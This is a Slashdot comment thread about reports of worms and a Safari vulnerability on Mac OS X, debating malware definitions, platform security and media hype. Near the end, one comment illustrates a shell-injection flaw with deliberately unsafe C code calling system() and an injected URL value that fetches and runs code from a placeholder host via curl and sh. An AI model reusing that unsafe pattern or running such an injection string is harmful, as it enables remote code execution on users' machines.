      The problem, however, is in the acutal design of IDN. AFAIK, Mozilla decided there was no way to fix it, and turned it off; if you correctly implement IDN, you leave yourself open to the exploit (insecure redirection, spoofing exploit).

      https://bugzilla.mozilla.org/show_bug.cgi?id=27909 9 (I think you have to copy-paste bugzilla links, no slashdot referrals).

      Quote from Opera:"
      Hello Eric,

      What you illustrate is an inherent problem with IDNA and the international
      Unicode characterset. On many systems success may depend on which fonts and
      languages the user have installed (and what is included in the default installation)

      There was a discussion about a similar issue in our forums a couple of days ago:

      Unfortunately, I do not believe your suggestion of warning the user about IDNA
      encoded names in the name of secure servers is particable. It might look
      that way when you are dealing with spoofsites such as your example, but it would
      be maddening for Chinese and Japanese websurfers, in fact it would also
      irritate many European (e.g. French, German and Scandinavian) surfers who are
      using languages with characters that will generate punycode servernames.

      The problem about spoofing websites using IDNA is IMO best solved by the
      domainname registrars, by limiting on their side the character-combinations they
      want to accept in a domainname. AFAIK such limitations are implemented in (e.g.)
      the Norwegian zone, but Verisign has not yet implemented something
      similar, which is understandable given the worldwide use of .com domains.

      Please note that Wand or cookies will not be tricked by this kind of servernames."

      So yes, the answer is "Sort of"

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
    4. Re:Application versus Operating System by The+Conductor · · Score: 1

      Well, we has this one, that permitted execution of shell commands. Basically, FF behaved like it had ActiveX, which, in the Linux world, is considered a bug, not a feature. Found in the wild? Proof-of-concept exploit? I doubt it. http://www.mozilla.org/security/announce/mfsa2005- 59.html

    5. Re:Application versus Operating System by argent · · Score: 1

      Yes, the first LaunchServices hole on Mac OS X hit Firefox as well as Safari.

    6. Re:Application versus Operating System by argent · · Score: 1

      So now I am wondering, how necessary is security software if you're not a total moron?

      The CHM hole on Windows worked for Mozilla-based browsers.

      The first LaunchServices hole on Mac OS X worked for Mozilla-based browsers.

      Both of these were caused by an insecure application being automatically passed untrusted content by the browser using a desktop API to find helper applications.

      These kinds of attacks do not require user intervention, and can only be prevented by avoiding the Desktop equivalent of system("Infect Me Harder");.

  30. FUD from Symantec and others by jimbo-nally · · Score: 1

    Nothing to see here... move along.

  31. My apple has a worm in it! by Joseph_V · · Score: 1

    Don't worry they all do

  32. root by Chief+Typist · · Score: 1

    The day that I don't have to enter an admin password to modify a file in one of the root directories is the day that I start worrying about security on my Mac.

    -ch

    1. Re:root by Anonymous Coward · · Score: 0

      Good point, however I would be much more devistated if something were to completely wipe my music, documents, etc, then if I had to do a reinstall of my OS. So many of the files that I have are much mroe valuable than the the hardware they are kept on and the OS and software I use to use them.

      It is great that OSX and *nix keep infections contained, yet it would be a nightmare should all of my important documents be trashed.

      p.s. Yes I backup, but it is still much more hassle then simply reinstalling the OS.

  33. Wired article re: Mac security by Kaimelar · · Score: 4, Interesting
    A recent columnist at Wired said what I was thinking already:

    From the linked article:

    "These Mac security holes are a storm in a teacup. They've inspired hundreds of stories in the press and even the national network news, but if they were Windows holes, no one would have blinked.

    That's because holes in Windows are routine, business as usual, while it now appears the Mac is under attack thanks to Apple's brand-new high profile. But this isn't the case.

    Last month, there were four "massive" virus attacks on Windows, according to Commtouch, an antispam and antivirus vendor. Indeed, viruses are now so aggressive, they routinely outpace attempts by antivirus companies to distribute protective signatures.

    This state of affairs is now so common, I hadn't noticed -- and I work for a technology news site. "Virulent computer virus infects millions worldwide, other non-news at 11."

    These Mac "threats" are only news because of their novelty, not the threat level they pose."

    1. Re:Wired article re: Mac security by weave · · Score: 1

      40,000 people are killed in auto accidents every year in the U.S. and the only news it creates is the story about the traffic jam that it causes. But if a plane or train has one and a few people die, it makes big news and people become afraid to travel of plane or train.

    2. Re:Wired article re: Mac security by 16K+Ram+Pack · · Score: 1
      AKA Man Bites Dog.

      When there's a rail accident in the UK, and 10 people are killed, it is a major news item, because it happens so rarely. But far more than that die on the UK roads (over 3,000) and rarely is there a mention.

      The problem is that such reporting distorts public opinion.

    3. Re:Wired article re: Mac security by Anonymous Coward · · Score: 0

      The denial ("storm in a teacup") is almost exactly same as Microsoft had back in 1999-2001.

      I sincerely hope Apple does not have similar attitude towards security as Microsoft did back then. So, what is the official reply from Apple? "Not serious" or a quick patch?

  34. Yes it is... by Afecks · · Score: 1

    A worm propagates by itself without user intervention. While at first glance it may seem that means the user doesn't have to run it in the first place, that's a common misconception. What it means is, once the program is active it is then able to spread itself via the network without user intervention. Unlike a virus, once active, merely infects files which then must be transferred to another computer from the original infected computer manually by the user.

    The difference in a virus and worm is the method of propagation, not execution.

    1. Re:Yes it is... by Anonymous Coward · · Score: 0

      Look: The program in question replicates into (infects) several files on the host computer. The definition definition of virus has never required that propagation exclude user stupidity/intervention.
      Repeat after me:
      It is a Trojan because the file containing the infection is disguised as an innocuous file.
      It is a worm because it attempts to propagate over the Web.
      FINALLY,
      It is a VIRUS because it infects multiple files on the host computer.

  35. Trolls, how I feed thee. by Anonymous Coward · · Score: 0

    What do you mean, "very few people were taking shots at it"? The whole premise behind security in an open source system is the concept that A LOT OF PEOPLE take shots at the system.

    Unix has been running on servers for years. People have been trying to chip away at the security of these machines for just as long as they have been around. Whole hacking communities were created around attacking the security of these machines. To claim that few people have attempted to usurp the security in unix and linux based machines is preposterous.

    ------------------

    "A computer is only as secure as its maintainer. [...] Now is it right for me to say that my linux computers are more secure just because they are running linux? No, that's stupid."

    Forgive me for saying, but the only thing stupid about what you have said is your assumption. You assume that because any program MAY have holes, that every program is EQUALLY open to insecurity.

  36. Computer 'Worms' Turn on Macs by revery · · Score: 1

    Computer 'Worms' Turn on Macs

    Worst. Switch Ad. Ever.

    1. Re: Computer 'Worms' Turn on Macs by Anonymous Coward · · Score: 0

      Indeed. The only reason I read this was because I thought someone made a worm that turned on macs after they were shut off. Either that, or the macs were aroused by the worms...

  37. Monopoly? by AviLazar · · Score: 1

    As MS gives up its last true monopoly! ;)

    --

    I mod down so you can mod up. Your welcome.
  38. Why would criminals care if Apple succeeds? by djtack · · Score: 4, Insightful

    The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed.

    Considering that the main incentive for virus writers these days seems to be economic (profitable criminal activity such as spamming, phishing, DDOS blackmail, identity fraud), it seems unlikely to me that these criminals care if Apple succeeds. More likely, the profit motive isn't there, probably a result the combination of greater security on OSX, and smaller installed base.

    1. Re:Why would criminals care if Apple succeeds? by AnalystX · · Score: 1

      If the main incentive for virus writers is economic, wouldn't it make sense to attempt to bring down Mac OS X security? It would be a stroke of self-preservation. You can either look at it from the perspective of portfolio diversity - being able to claim larger territory; because people who can only get their food from one place die of starvation in the long run. Or you can look at it from the perspective of virus writers ensuring there are fewer reasons for users to switch to Macs. I know if I don't want someone leaving one platform I do support, for another platform I don't, I either start supporting both platforms, or I find a way to discourage switching. Drilling holes in Mac OS X'x security would be one obvious way.

  39. Something like this? by SengirV · · Score: 1
    Every reporter that misclassifies trojans and viruses as worms needs to be beaten over the head with a herring.

    http://upload.wikimedia.org/wikipedia/en/thumb/4/4 5/Fish_Slapping_Dance.png/180px-Fish_Slapping_Danc e.png

    --

    Prof. Farnsworth - "Oh a lesson in not changing history from Mr I'm-My-Own-Grandpa!"

  40. And here I always thought... by brunes69 · · Score: 1

    ...what turned on Macs as a sexy iPod, just waiting for it's upload.

    I guess it's hard to compete with an "agressive worm".

  41. Is this..... by TangoCharlie · · Score: 1

    ..the definition of FUD?!

    Seriously, it seems liek every week that I read a slashdot article which proclaims that the days of the virus-free Mac environment are numbered, and that Mac users will soon be the number 1 target of the malware writers. It seems that if you can use the words "Mac" and "virus" ** in the same article then you're bound to get it posted on some tech news-sh^Hite. Then give it two or three days and virtually the same article will pop-up on the BBC's website with even more inflated dire warnings.

    Everyone knows that Macs "could" be susceptible to malware, so why do we keep on hearing the same doom story over-and-over again? Why not wait until there is a real threat?!

    Well, we know why don't we?! It's because the anti-virus / anti-spyware vendors aren't getting their fair share of money from Mac users, and so they keep banging on with their FUD!

    -----
    ** or Tojan, malware, spyware, etc...

    --
    return 0; }
  42. Man bites dog journalism by plopez · · Score: 3, Informative

    Typical 'man bites dog' approach. If it is unusual, it is news. Microsoft Windows is a bug ridden unsecure OS, but since everyone (or at least 90% of users) use it it is not news. No one questions why a defective product exists or what it is actually costing in lost productivity. It is normal in most users' worlds, those users who never have experienced anything else.

    OS X exploits are news only because they are unusual (though it does serve as an early warning, I sincerely hope Apple is busy auditing their code base). The fact that they are not as severe as Windows exploits, requires more user intervention and are often limited in scope are not discussed or probably understood by most people.

    --
    putting the 'B' in LGBTQ+
  43. It's not that Linux is secure by typical · · Score: 2, Insightful

    Now is it right for me to say that my linux computers are more secure just because they are running linux? No, that's stupid.

    It's not that Linux is secure. It's that Windows is *insecure*.

    Microsoft had a long period (perhaps over?) where they introduced *horribly* insecure designs -- making decisions that completely ignored security in the name of any shred of functionality that they might gain. (And those designs still affect us today.) Double-click execution of executables in email, using their full-blown web browser to view emails (which escallated any security hole in a web browser into a worm-class bug), default of no Administrator password on NT, default share all drives (but make them "invisible" to other Windows machines), design a windowing API that essentially makes local security on a computer impossible, have a system where each file has many names (which makes it damned difficult to write a secure server), encourage people to use threads (because their OS lacked copy-on-write), omit the ability to create chroot jails from their OS, run all kinds of servers by default (remember Messenger Service and the spam that you *knew* was going to happen?) allowing IP-baed access and then proceed to blame sysadmins for not firewalling Windows boxes because Win machines weren't usable out of box on the Internet, bundle telnet but not ssh, and so forth.

    Hmm...other goodies. POSIX places hard bounds on what calls do. Microsoft provides MSDN, which provides some examples and no guarantees. It's a tutorial, not a spec. Writing secure software when you don't have guarantees on *exactly* what a call can do or will do in future revisions of the OS is damned impossible. Because Windows isn't a very usable multi-user machine, software authors essentially ignored local security for years -- most Windows software can be attacked every way to Sunday locally (though I'll grant that this wasn't directly MS's fault). There are local security vulnerabilities in Unix software as well, but people actually *care* about them and fix them if they can find them, and don't just introduce them without a care in the world.

    Secure software is correct software, and because Windows tries to guarantee binary compatibility and there is only one Windows, developers don't often look up the spec (when I code serious software under Linux, I have the C99 spec in one window and the POSIX spec in the other). It's just a matter of "well, I've passed in this invalid value and it seems to work, and it'll probably keep going". That drives me nuts. Try saying that on comp.unix.programmer, and you'll discover a higher standard.

    And MS is still doing it. Okay, .NET does solve buffer overruns (unless you make any calls into Win32 or other C code, which Microsoft makes unnecessarily difficult to do correctly), but it pushes threads even harder. Secure software has to be correct, and threaded correct software is an oxymoron. Now you've got race conditions. The only race condition I usually have to worry about in a typical Unix software package is use of tmpnam() (and every time anyone compiles a piece of software, they get warned about it).

    Now, Microsoft provides lots of security *administration* tools. They provide a sophisticated (I'd even argue overcomplicated -- in the vein of VMS, the problem is not a lack of controls, but in users not understanding the system fully) ACL system. The rules for what exactly happens with permissions when copying files around are bonkers. Sure, most users don't care, but if you're trying to write a system that doesn't have security holes, it's a royal pain in the ass. If it takes a ton of work to figure out and write something properly, developers will just stuff a maximally-permissive ACL on something -- under Unix, you have exactly 12 bits and an owner and group to worry about, and there's the extent of your permission system.

    But the problem isn't a lack of frontends and tools. It's the coding and design practices, and that's just ha

    --
    Any program relying on (nontrivial) preemptive multithreading will be buggy.
  44. Macintosh does a few things right by jaygatsby27 · · Score: 1

    The thing the Mac does that really should be automatic in Windows, and should be in Vista, is that it doesn't give its users full rights. Each time you do an install it requires your password, otherwise you have standard user rights, which prevent a lot of programs auto-installing. I have been using non-mac pc's for a long, long time and finally bought my first mac this month, so I am looking at everything through a Windows lens. I think the security settings make more sense on the Mac, as does the closed nature of the operating system. It leaves fewer opportunities for the end user to do something stupid, or more likely, prevents them opening up security holes by not doing something. This is probably all my fault for buying a Mac. Be warned, I just installed Linux for the first time, as well, so there is no doubt trouble on that horizon, too.

  45. Apple: Computer 'Worms' Turn on Macs by rs232 · · Score: 1
    'Some security experts believe hackers are becoming more interested in writing nasty code for Macs precisely because of reports of its relative immunity to security woes,'

    These are the same 'security experts' that were upto recently predicting that no one was writing malware for the Mac precisly bqcause of its low userbase.
    'Apple itself has gone out of its way not to promote the Mac's relative safety, lest it tempt hackers to prove the company wrong. Apple declined to discuss the topic of security in depth for this article.'

    This would also be news to the Apple developers. Does this 'security experts' have any citations for this statement. Also OS X is based on bsdUnix which by default works on the least privilege model they are currently innovating into Vista.
    --
    davecb5620@gmail.com
  46. Symantec at it Again by Azureflare · · Score: 1
    When I read this headline I immediately thought "Hmm, is this hosted on Symantec's site?" Symantec has been harping on this idea for some time, and they will use anything to get what they think people should do with their macs out to the media. It makes sense because Symantec would like to make as much money as they can. If they get enough favorable stories out in the media, customers will start buying their software, regardless of how terrible it is. However, right now this is all smoke and mirrors on the part of Symantec. When Macs get trojans that are passed without user interaction between machines, then they will have worms. But honestly, the days of those kind of exploits are over for Mac and Windows alike, due to the default of having firewalls turned on.

    As long as you don't go to dodgy sites you'll be fine. I was kind of shocked the other day when I looked at a Windows computer that had everything, virus protection, spyware protection, and there was a mywebsearch bar installed on _firefox_. No one knew how it got there.

    In my opinion, it's stuff like this that make Windows such a hassle: not Viruses/Worms, but Spyware/Malware which target the Windows platform.

  47. What's the point? by daBass · · Score: 1
    How many Mac users today run anti-virus software?

    Well, until just a few weeks ago, there was nothing to scan for, except Windows virusses! So what would the point have been?

    The major vendors have engines ready to scan, but things will have to get a whole lot worse and more regular before I will pay up and slow down my system with one of those bastards....

  48. Academic? by truthsearch · · Score: 1

    According to the Reg the OS X security exploits are largely academic and not serious threats.

    For the foreseable future Microsoft Windows will remain a huge security risk.

  49. It's a proliferation problem... by TCQuad · · Score: 2, Interesting

    Considering that the main incentive for virus writers these days seems to be economic (profitable criminal activity such as spamming, phishing, DDOS blackmail, identity fraud), it seems unlikely to me that these criminals care if Apple succeeds.

    All of those require infection of a system, which requires the virus/Trojan/worm to copy itself from one system to another. The increasing number of Macs creates more dead-ends for a proliferating virus.

    Imagine two situations. In the first, everyone is using a Windows machine. In the second, half are using Macs and half are using Windows. Everyone has 5 random other machines in its address book (e-mail addresses of the primary user). In the case of a zero-day exploit for Windows, how quickly will the all-Windows cluster become infected?

    In the case of the Mac/Windows hybrid cluster, though, the speed significantly decreases and it becomes possible that some machines will never be infected. Why? Each machine sends out 5 e-mails; those that go to Macs will not be exploited. That means, on average, each machine can only infect 2.5 others (rather than 5) and the path to any Windows machine must not intersect only Macs.

    In a real world situation, the lack of intersection is the smaller problem (since most people have everyone's e-mail in their address book), but if you're wasting resources sending out suspicious e-mails to Macs, you're mitigating the advantage of the zero-day exploit.

    1. Re:It's a proliferation problem... by maxume · · Score: 1
      In a real world situation, the lack of intersection is the smaller problem (since most people have everyone's e-mail in their address book), but if you're wasting resources sending out suspicious e-mails to Macs, you're mitigating the advantage of the zero-day exploit.

      Except that in a real world situation, the resources expended on propogation are minimal. Unless an address book is so large that the worm only gets through some of it before it is found, there isn't any mitigation...the resources are wasted, but no potential propagation is prevented.

      --
      Nerd rage is the funniest rage.
  50. Burglars break in using the easy entrance first by stefaanh · · Score: 1

    Besides what Hollywood tells you in a fine movie full of suspense, real burglars break in using the easiest entrance first. That is why "Apple gets more popular => there will be more viruses" is a cheap and wrong statement.
    Or for that matter, "Windows gets all the viruses because of it's market dominance", sounds really funny to me.
    Follow the path of the least resistance.
    Even if I start a regular program on my Mac for the first time, it asks me if, since it is the first time I run it, if I really want to do that... Social Engineering on both sides of the fences!
    No system is 100% safe. But some are a lot safer than others.

    --
    --------
    * Sigh *
  51. WSJ: "What the rich want you to think." by Futurepower(R) · · Score: 4, Insightful

    Agreed: If you want Mac malware, you have to go to a store and buy it.

    It's completely unacceptable that Slashdot editors would post this garbage. From the referenced article:

    "In the past two weeks, information-security companies like Symantec Inc., Sophos PLC and McAfee Inc. have identified several security issues related to the latest version of Apple's Mac operating system, called OS X. Among the concerns: two "worms," programs written by unknown hackers that were designed to spread themselves to other Macs through Apple's iChat instant-messaging software and Bluetooth wireless-communications capability."

    Translation: Some public relations drone, with no technical knowledge, paid the Wall Street Journal to post the article. The Wall Street Journal is a "What the rich want you to think" publication, and, in my experience, usually unreliable for anything useful. Note that the article jumps from subject to subject rapidly, apparently to hide the fact that there are no actual incidents of Mac infections to report.

    Another translation: Symantec, a maker of very buggy security software of poor design, and other "security" companies want Mac users to buy their products.

    Some people, in my opinion, spend their entire working lives being dishonest, trying to trick other people. In my experience some of them work for WSJ.

    -
    Cheney's company is rapidly building prisons for the U.S. government.

    1. Re:WSJ: "What the rich want you to think." by Anonymous Coward · · Score: 0

      They keep linking it, you keep denying it. Your days are numbered. Keep thinking your Mac is an invincable fortress, just go ahead.

    2. Re:WSJ: "What the rich want you to think." by Gropo · · Score: 1
      You keep doomsaying, we keep chuckling.

      Your continent is plagued by cholera, scabies, bubonic, AIDS, herpes, influenza, ebola, malaria, papilloma, rhino, streptococcus, conjunctivitus, etc. SIMULTANEOUSLY and your doctors can't keep up.

      One of us gets so much as the sniffles and the problem is quickly notated, quarantined, treated, and cured.

      Doesn't hurt that our long history of 'digital genetic' disease-immunity-through-natural-selection far surpasses yours.

      --
      I hate Grammar Nazi's
  52. A Dual-boot Vulnerability? by Vincman · · Score: 1

    I wonder if/when the new intel-macs will have dual-booting abilities and you are able to install Vista, or worse XP, on them, could this make the Apple-OS more vulnerable? I'm thinking rootkit-like virusses and assuming that Vista-security could be lacking.

    1. Re:A Dual-boot Vulnerability? by WhiteWolf666 · · Score: 1

      It's not the hardware, its the OS.

      I've said it before, and I'll say it again: Run Windows, and you WILL get infected. You can run in on an intel mac, you can run it in Virutal PC, you can run it in VMware, or on you smart phone.

      But run Windows, and you WILL get infected.

      Will it affect OS X? Or Linux? Or anything else on the system? Thankfully, no; but mainly because MS software is braindead in terms of competing file systems. Vista can't access anything as mundane as ext2 (without 3rd party drivers), let alone HFS+ or Reiserfs/Reiser4.

      At least Windows is self limiting in that regards; lack of compatibiltiy keeps it from smearing shit on the rest of your hard drive ;-)

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  53. I'm a Mac user by Anonymous Coward · · Score: 0

    As a Mac user I have never had to run virus scanning software and I've never had a virus!

    I also have never been to the dentist and never had a cavity but thats a different issue.

  54. It's the lack of popularity, same for Linux by rfc1394 · · Score: 1
    Windows runs about 90% or more of all desktops. Apple and Linux make the vast majority of the remainder with everyone else totalling probably less than 1% of all desktops. As a result, if someone writes a virus, they more likely than not own a Windows machine, and thus have the capacity to target it. Also, there being lots of Windows desktops and the infection vector is larger it's a bigger target.

    As most malware attacks are for profit these days, the Windows environment, with its huge level of insecurity provides a bigger payback for the investment of time and effort involved.

    If Apple and Linux boxes were more popular - or become more popular - for desktop application systems which are connected to the Internet, they would get targeted more. But, there is a saving point here. If these systems can be properly configured and locked down so malware can't get started they will remain relatively immune. Once it gets around that Apple or Linux systems have good "as installed" security against malware, its authors will look elsewhere as criminals are just as lazy - if not more so - as everyone else, and are not going to work hard for small returns. Problem is, the settings for this will have to be done by the release maintainers as most people will probably use them 'out of the box' in whatever way the system is set up to be configured. If the Linux and Apple OS release maintainers do not design their systems to install in a secure method in the first place, (Linspire being the prime example, having the user default to root), these systems can and will become just as buggy and virus-ridden as Windows boxen have become.

    Paul Robinson
    paul@paul-robinson.org / paul@paulrobinson.org

    --
    The lessons of history teach us - if they teach us anything - that nobody learns the lessons that history teaches us.
    1. Re:It's the lack of popularity, same for Linux by WhiteWolf666 · · Score: 1

      Explain Apache's relative invulnerability, despite it leading IIS in marketshare.

      Explain why there are 0 automated OS X or Linux desktop worms. Sure, there should be only a small relative percentage, but 0? OS X and Linux are virgin territory; surely SOME hacker out there would love the notoriety, and would love to exploit operating systems where security&anti-virus measures are completely non-existant.

      Explain why Unix/Linux servers, which compromise a majority of the server market (and linux represents 1/3 alone), and which have no anti-virus installed experience no automated worms.

      The math doesn't add up; its not lack of targetting, its not even better default setups. Linux distributions aren't perfect, and neither is OS X. Plenty of opensource apps have random, crazy security holes. But no company in the industry produces software with such a poor eye towards security as MS.

      Simply put, I believe that if Windows vanished tomorrow, and we only existed in a world with Linux and OS X, computing security would not be as big of an issue as it is today. We might have Linux/OS X viruses/worms, but these things would not reach the level of noise as we experience with the MS World(TM). The reason we don't see as many security problems on the OS X/Linux side of things is not because Unix people are security geniuses. It's because Microsoft's implementations are so god-awful. Malware creators will be an everpresent part of the computing environment, as will black-hat hackers. But MS uniquely has given them a great deal of fertile ground through poor system design.

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  55. It's a matter of geriatrics... by GoChickenFat · · Score: 1
    More likely, the profit motive isn't there, probably a result the combination of greater security on OSX, and smaller installed base.

    ...or maybe its the perceptions that Macs are only used by poor, starving artist with no money to rip off. Once the Mac user base fills with old folks with old money...let the games begin :)
    1. Re:It's a matter of geriatrics... by 99BottlesOfBeerInMyF · · Score: 1

      ...or maybe its the perceptions that Macs are only used by poor, starving artist with no money to rip off. Once the Mac user base fills with old folks with old money...let the games begin :)

      I know you're talking about public perception of mac users, which is something I have not seen any real research into, but I have seen research into mac users as a market. In fact they have something in common with the gay market. Market analysts have written several articles singling out mac users as one of those affluent population segments that has money and is willing to spend. Certain high-end car companies, electronics sellers, and furniture stores have specifically targeted mac users with portions of their ad campaigns. A BMW ad in a tattoo magazine is probably not going to get you many sales. The same ad in a really common publication like "People" may get you a medium number of sales for eyeballs reached. An ad in a mac specific publication, however, yields even better results. You've just refined your ad to a segment of the population that has more disposable income and willingness to pay more for perceived quality than the average cross-segment.

      I don't know what the "public" perception of mac users is, or more topically what the virus writer's perspective is, but there is some evidence as to what the mac user market segment itself is.

  56. No system is immue.. but by nixNscratches · · Score: 1

    Most *nix systems (including GNU/Linux, the BSDs, Mac OS X (Darwin), and Solaris (Open Solaris) are OPEN SOURCE.

    While this does nothing to guarantee immunity, it does mean that the cards are on the table, and face up. Anyone who wants to browse the source is free to do so, which often means vulnerabilities are found, and many times patched long before an exploit exists in the wild.

    Contrast this with the "Microsoft" way:

    No really, it's secure this time. No we fixed that! Trust us. We're focused on security. What do you mean you'd like to audit the source code? Are you in the European Union? You understand we are going to have to charge you for a peek.

    Personally, I prefer the former to the latter.

    While there is certainly great potential for abuse, I still believe Macs come more secure "Out of the box."

    On a Mac - All the communication ports are closed and all native services -- personal file sharing, Windows file sharing, personal web sharing, remote login, FTP access, remote Apple events and printer sharing -- are turned off by default.

    On XP Service Pack 2 - The Windows Firewall is enabled by default (Great!) But file and printer sharing default to on and you still have full admin on the machine by default.

    In the end, Windows and "Unix flavored" OSes can both be hardened considerably by someone with the knowledge and tools to do so, but for me it always comes down to having a secure and transparent foundation and that means open source.

    Full Disclosure - I admin both types of platforms in a variety of flavors but I prefer Unix to Windows so factor in my bias into the above.

  57. Let me be the first to say: by Lispy · · Score: 1

    HA-HA! :)

  58. But worm in the Apple is so clever! by beetle496 · · Score: 1

    At least most reports have stopped claiming there was a virus! Here is a better URL since Commander Taco (or someone else) is about to have their WSJ account suspended. Why do these news companies try to force people to provide a password? I hate that, putting up with advertising is annoying enough. http://online.wsj.com/public/article/SB11409996477 6283796.html

    --
    I paid the going retail price for a Windows screen reader and got a free Unix computer!
  59. What about by Anonymous Coward · · Score: 0

    "Apple itself has gone out of its way not to promote the Mac's relative safety, lest it tempt hackers to prove the company wrong. Apple declined to discuss the topic of security in depth for this article.'

    Not to long ago; wasn't there a challenge about writing viruses for the MAC; while jobs put up a bounty. Later they retracted the bounty and offer.

  60. Slashdot desperately looking for readers by Anonymous Coward · · Score: 0

    In a stunning change of tactics, Slashdot today began running MS FUD stories as 'real news.'

    A nation mourns. (but not much)

    FU Big Billy.

  61. "PC" vs Mac by stuuf · · Score: 1

    Can we stop using the term "PC" like that already? PC isn't a model name or an operating system; it's a form factor. PCs are smaller than servers, less powerful than workstations, and might include laptops but probably not handhelds. Most of Apple's offerings are personal computers. My computer is a "PC" in that it uses an x86 processor and shipped with Windows, but I run linux so I'm also immune to all that stuff that should be "plaguing" it. Viruses and malware are a problem on Windows (only because it's the most popular; they will target any OS that gains enough market share), not some broad hardware platform that even Apple is adopting now.

    --

    Everyone is born right-handed; only the greatest overcome it

  62. PC or Windows? by hackstraw · · Score: 1

    Summary says, "two recently discovered worms and the discovery of a vulnerability in OS X that leaves Safari open to a hack."

    This is not true. These things were not recently discovered, they are years old, and they are not a vulnerability, but rather a stupid choice in implementation by Apple, by "Opening "Safe" files after downloading". There are no "Safe" files until a user determines they are safe, and even then, many users are not that good at determining safe and nonsafe. But they are much, much better than computers at figuring out this stuff out a priori. Computers (after being told what to do) are better at post mortem stuff (anti-virus, spyware and adware removal, etc).

    Oh, and Symantec of all people are reporting this?

    From what I know, they are a terrible software company that make buggy "security" software whose business model is going to be taken away when Microsoft starts selling security as a service for their buggy software just like Norton utilities went away when MS started providing more robust filesystems and bundling (rebranding) some of Norton's stuff.

  63. Argh, what crap by ThousandStars · · Score: 3, Insightful
    I already had a relative send me a link to this article. I'll copy my e-mail response:

    The guy who wrote this article doesn't know what he's talking about. "Worms" spread without any user interaction -- they can infect millions of machines on the internet in hours. Those are the kind of vulnerabilities that got Microsoft in trouble in 2003. Viruses require user interaction to work. All the "vulnerabilities" described in the article require the user to install a program and it's trivially easy to be destructive once you have the user's trust.

    In addition, virtually all the vulnerabilities described by the article are local ones -- meaning a malicious person needs access to the machine. Truly dangerous vulnerabilities offer remote access, which means any random hacker on the Internet can control the machine from afar. AFAIK, none have been discovered in most Linux distributions or OS X. If OS X did ship with remote vulnerabilities, THAT would be huge news.

    The only relevant part of the article comes at the very end:

    Many viruses and worms, for instance, don't exploit security holes in operating systems. Instead, they use what are called "social engineering" techniques to trick users into doing things that they shouldn't do, like unwittingly installing programs. The Anna Kournikova worm from 2001, for example, infamously tricked Windows users into installing it by masquerading as photos of the leggy Russian tennis star attached to e-mails.

    Rather than weaknesses in operating systems, such approaches exploit "a bug in peoples' brains, which is much harder to patch," Mr. Cluley says.

    That should have been the lead. The rest of the article is idiotic.

  64. PR and only PR by Anonymous Coward · · Score: 0

    Expect more "OS X is not secure and eats babies" so just in time for Vista's launch when everybody's mulling over buying a new computer, suddenly OS X looks really insecure and spangly Vista is shilled and astroturfed to be the most secure operating system on the planet to do your online banking with.

  65. No vectors for attack by diamondsw · · Score: 1

    I've said it before, I'll say it again. Mac OS X has no vectors for attack except social engineering. You will not see things like Slammer or Blaster on the Mac, as there are no ports open on a default install. None. How are you going to get in the box now, other than stupid users (which there is little you can do about)?

    Mac OS X - thanks to fewer services running, no network ports open, no root user, and strong use of system permissions - presents a much smaller surface area to attack than Windows. While market share magnifies this effect for those who are writing viruses for economic gain, if the two were equally matched in terms of share, Mac OS X would still be more secure.

    Next.

    --
    I don't know what kind of crack I was on, but I suspect it was decaf.
    1. Re:No vectors for attack by ninja_assault_kitten · · Score: 1

      Lol. Are you insane? By that rationale you're stating that somehow applications like Mail.app and Safari are somehwo invulnerable... Give me a break.

    2. Re:No vectors for attack by argent · · Score: 1

      Mac OS X has no vectors for attack except social engineering.

      And LaunchServices.

    3. Re:No vectors for attack by diamondsw · · Score: 1

      That is true, and needs to be fixed. Sadly, I doubt this issue will be given the attention it deserves and be swept under the rug until the pressure or bad PR becomes too great.

      --
      I don't know what kind of crack I was on, but I suspect it was decaf.
  66. MOD PARENT DOWN - RATIONAL THOUGHT by Anonymous Coward · · Score: 0

    Be careful, you might disrupt the reality distortion field Apple fanboys have so diligently constructed. When a worm or virus infects Apple computers the definitions of worms and viruses must require revision.

  67. Apple this, Apple that... by Anonymous Coward · · Score: 0

    while i was reading this newsbit, as i read past "Apple itself", in my head i actually pronouned it "Apple iTself" (with a long i). yay marketing!!

  68. Mixed reactions on Slashdot to similar problems by Anonymous Coward · · Score: 0

    If cell phones have already 240 virus it's considered insignificant, if the Mac gets two half-ass worm that did absolutely no damage and have to be specificaly authorized by the user to trigger themselves the Mac security myth is eroded...

    go figure

  69. Obligatory Simpson's quote... by Anonymous Coward · · Score: 0

    Nelson Munce: Haa Haa!

  70. You'd Be Surprised. by alphasubzero949 · · Score: 1

    Posting that will get you banned on at least one Mac forum since the majority of Mac users don't have a clue as to what that does.

  71. Old security hole, shared by Windows & Firefox by argent · · Score: 2, Interesting
    Among the signs: two recently discovered worms and the discovery of a vulnerability in OS X that leaves Safari open to a hack.

    The only worms I've seen announced for OS X so far have depended on social engineering attacks. Social engineering attacks are possible on any OS, because they work by convincing a user to do something. They're basically the same kind of "security hole" as the one the folks claiming to be an exiled dictator with a bundle of cash...

    The central security hole* found is one that was discovered almost two years ago, and Apple has refused to fix. That security hole is the use of the desktop shell interface to run programs to display untrusted content. As I wrote at the time this is fundamentally insecure, and yet the native browsers and third party ones still do it.

    This is the same kind of error as having a browser on UNIX run an external viewer for a link with code like this:
    run_application_on_url(char *app, char *url)
    {
      char *buffer = malloc(strlen(app)+strlen(url)+6);
      if(!*buffer) panic("Out of memory on malloc");
      sprintf(buffer, "%s \"%s\" &", app, url);
      system(buffer);
    }
    That would be a security hole you could drive a truck through, because you don't know what the shell is really going to do with whatever the URL contained. Maybe it looks like benign.pdf?";curl http : //badguy.xx/exploitcode>/tmp/...;sh /tmp/..." .

    Well, Safari doesn't really know what the shell (LaunchServices) or the app it calls is going to do, either. It's not quite as obviously bad as the above code, but it's subject to the same kinds of attacks. As has been shown multiple times already on both OS X and Windows.

    What's safe?

    Well, there's two options.

    1. Safari can maintain its own database of safe applications to pass unsafe files to, and call them directly rather than through LaunchServices.

    2. Apple can provide an alternate LaunchServices for unsafe content that ONLY contains applications that are explicitly designed for handling unsafe content, or alternatively add an option to LaunchServices saying that the content is unsafe so it can use an alternate database.

    Here's some options that have been tried and don't work:

    1. Maintain a list of file types and suffixes that you consider "safe", and only use LaunchServices to open these files (Safari and Firefox and IE do this).

